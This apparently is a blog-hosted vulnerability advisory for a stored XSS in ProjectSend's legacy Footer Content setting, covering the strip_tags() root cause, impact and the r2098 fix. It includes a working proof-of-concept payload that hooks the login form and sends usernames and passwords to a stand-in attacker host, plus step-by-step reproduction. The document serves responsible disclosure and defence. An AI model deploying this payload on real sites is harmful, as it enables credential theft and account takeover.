Skip to content

Stored XSS in "Footer Content" Setting Leads to Site-Wide Credential Harvesting via Login Form Hijacking

Metric Details
Severity Rating High
CVSS v4 score 8.3
CVSS v4 vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Component Affected ProjectSend (legacy branch)
Affected Versions <= r2029 (latest legacy release as of 2026-07-10)
Patched Version r2098
Vulnerability Class CWE-79 (Stored XSS), specifically CWE-83 (Improper Neutralization of Script in Attributes in a Web Page)
Reporter Venkata Karthik Kakarla

Affected versions

ProjectSend recently underwent a major revision: the classic codebase (up to r2029/r2098) has been marked Legacy, and development has moved to a rewritten, Laravel-based codebase released as v2.0.0 and v2.1.0. This advisory targets the legacy branch only — effectively all legacy releases <= r2029 are affected. The fix was subsequently backported to the legacy branch in r2098; the new Laravel-based v2.x line was not assessed as part of this research.

Summary

The "Footer Content" field under Options → General Options → Site Information accepts arbitrary HTML with no output sanitization or encoding. Because the footer is rendered on every page of the application, including the unauthenticated login page, an attacker who holds a privilege capable of editing this setting (by default, the System Administrator role, or any custom role granted the Edit Settings permission) can persist a malicious payload that executes in the browser of every subsequent visitor, including users who have not yet authenticated.

The submitted proof-of-concept weaponizes this to perform Credential Harvesting: hovering over the injected footer element attaches an event listener to the login form's submit button that intercepts the username and password field values and exfiltrates them via an out-of-band HTTP request to an attacker-controlled domain at the moment the victim submits their login credentials, before the credentials are ever validated by the application.

Because the application's session cookie is issued with the HttpOnly flag, direct session-cookie theft via document.cookie is not possible through this vector; the credential-harvesting technique demonstrated here was chosen specifically because it does not depend on cookie access and fully bypasses that mitigation.

Affected Component

  • Injection point: Options → General Options → Site Information → Footer Content
  • Rendered at: Global application footer (<div id="footer">), present on every page, including the login page which extends footer.php
  • Rendering function: render_footer_text()

Vulnerable Code

function render_footer_text()
{
    ?>
    <footer>
        <div id="footer">
            <?php
            if (is_projectsend_installed() && get_option('footer_custom_enable') == '1') {
                echo strip_tags(get_option('footer_custom_content'), '<br><span><a><strong><em><b><i><u><s>');
            } else {
                ...
            }
            ?>
        </div>
    </footer>
<?php

Root Cause

The stored footer content is filtered using PHP's strip_tags() with a tag-name allowlist (<br><span><a><strong><em><b><i><u><s>). strip_tags() only removes disallowed tag names — it does not inspect, filter, or strip attributes on tags that are allowed through. Since <span> and <a> are permitted, an attacker can freely attach any attribute to them, including executable event-handler attributes such as onmouseover, onclick, onfocus, etc., and these are echoed into the page verbatim with no further HTML-entity encoding.

This is a well-documented class of allowlist bypass: tag-name stripping is not equivalent to HTML sanitization, and is explicitly called out as an anti-pattern in the OWASP XSS Prevention Cheat Sheet, which notes that simple tag stripping fails specifically because it doesn't address event-handler attributes on permitted tags, and recommends a real HTML sanitization library instead.

Privilege Required to Inject

By default, only the System Administrator role can access Options → General Options. However, ProjectSend supports granular, custom role creation, and any custom role granted the Edit Settings permission without being granted full System Administrator rights can also reach and modify this field. This creates two distinct risk pathways, detailed under Impact below.

Proof-of-Concept

Payload saved into Footer Content:

<span href="#" tabindex="0" onmouseover="console.log('Payload injected, submit button now exfils credentials'); document.getElementById('login_form').addEventListener('submit', function(e){ var u = document.getElementById('username').value; var p = document.getElementById('password').value; fetch('http://threatactor.domain' + '/log?u=' + u + '&p=' + p); }, true); ">Hover to inject payload to submit button - Credential harvest</span>

Resulting rendered HTML on every page (including the login page):

<div id="footer">
    <span href="#" tabindex="0" onmouseover="console.log('Payload injected, submit button now exfils credentials'); document.getElementById('login_form').addEventListener('submit', function(e){ var u = document.getElementById('username').value; var p = document.getElementById('password').value; fetch('http://threatactor.domain' + '/log?u=' + u + '&amp;p=' + p); }, true);">Hover to inject payload to submit button - Credential harvest
        <span></span>
    </span>
</div>

An out-of-band domain (oastify.com, Burp Collaborator) was used for exfiltration to provide unambiguous, blind confirmation of successful credential capture independent of application logging.

Attack Vector Breakdown

  1. Injection Delivery: An attacker holding the Edit Settings permission stores the crafted <span> payload in the Footer Content field via the admin settings UI.
  2. Sanitization Bypass: strip_tags() allows <span> through its tag allowlist but performs no attribute filtering, so the onmouseover event handler survives untouched.
  3. Global Persistence: render_footer_text() echoes the stored content into every page footer application-wide, including the unauthenticated login page.
  4. Victim Interaction: A victim (authenticated or not) hovers over the injected footer text, executing the handler and attaching a submit listener to the login form.
  5. Credential Exfiltration: When the victim submits the login form, the listener reads the username and password field values and sends them via fetch() to an attacker-controlled domain before the credentials are validated by the application.

Steps to Reproduce

  1. Authenticate to ProjectSend as a user holding the Edit Settings permission (default: a user with role System Administrator).
  2. Navigate to Options → General Options → Site Information.
  3. Paste the payload above into the Footer Content field and save. (You will need to modify the payload to point at your own domain or IP address to listen for OOB requests.)
  4. Log out, or open a private/incognito browser session.
  5. Navigate to the ProjectSend login page as an unauthenticated visitor.
  6. Hover the mouse cursor over the injected footer text ("Hover to inject payload to submit button - Credential harvest"). This attaches the credential-exfiltration listener to the login form's submit button.
  7. Enter any username/password and click the submit/login button.
  8. Observe the interaction received on the attacker-controlled OOB listener, containing the u (username) and p (password) values submitted by the victim, captured before the login request completes.

(Evidence: screenshots of the saved payload in the admin settings UI, the rendered footer on the login page, and the OOB listener interaction log showing captured u=/p= values.)

Saved payload and OOB listener capturing exfiltrated credentials

Impact

Because the Footer Content field renders on every page, this is first and foremost a site-wide stored XSS, with the login-page credential-harvesting chain serving as a high-impact demonstration of exploitability against both authenticated and unauthenticated users. Session-cookie theft is not viable due to HttpOnly, but credential capture is unaffected by that control and yields full account takeover directly.

Pathway 1: Default configuration (System Administrator attacker)

Even though the injecting party already holds full administrative rights, this is not a self-limiting bug:

  • The payload persists independently of the attacker's own account and privileges. An administrator who is later demoted, offboarded, or has their access revoked can retain a durable credential-harvesting backdoor that continues operating after their legitimate access is gone.
  • The attacker can harvest credentials of other administrators or users to act under a different identity, avoiding their own audit trail (attribution laundering).
  • Any user segmentation (e.g., per-admin client/project visibility, if present) can be bypassed by simply logging in as a harvested identity rather than using the attacker's own scoped account.

Pathway 2: Non-default configuration (custom role with Edit Settings)

If a deployment has granted Edit Settings to a custom role short of full System Administrator, this becomes a direct privilege escalation primitive: a moderately privileged user can harvest a genuine System Administrator's credentials the next time they log in, escalating to full administrative control of the application. This pathway requires a non-default RBAC configuration and is documented separately here rather than folded into the primary CVSS score.

Remediation Recommendations

To eliminate this vulnerability, the priority for existing deployments is straightforward: patch or move off the vulnerable build. The technical detail behind the fix, and hardening for developers maintaining a fork, follows below.

  1. Upgrade to r2098 at minimum if staying on ProjectSend Legacy. The fix for this issue has already shipped upstream on the legacy branch — see the fix commit in References below. Any legacy deployment on r2029 or earlier should be patched immediately.
  2. Alternatively, migrate to ProjectSend v2.x. The Legacy branch (the codebase this advisory targets) is no longer the actively developed line — ProjectSend has moved to a rewritten, Laravel-based codebase released as v2.0.0/v2.1.0. Deployments with the option to do so should treat migration to v2.x, rather than long-term maintenance on Legacy, as the strategic fix; this advisory has not assessed whether the same weakness exists in v2.x.

Disclosure Timeline

  • 10 July 2026, 01:45 AEST — Reported to ProjectSend maintainers via contact@projectsend.org.
  • Patched in r2098 — Maintainers shipped a fix on the legacy branch, tightening output handling on the Footer Content setting.

References

AI generated content

Some of the content on this blog is generated by AI and may contain mistakes. If you notice an issue or technical oversight, please reach out via email at hello@x6b.me.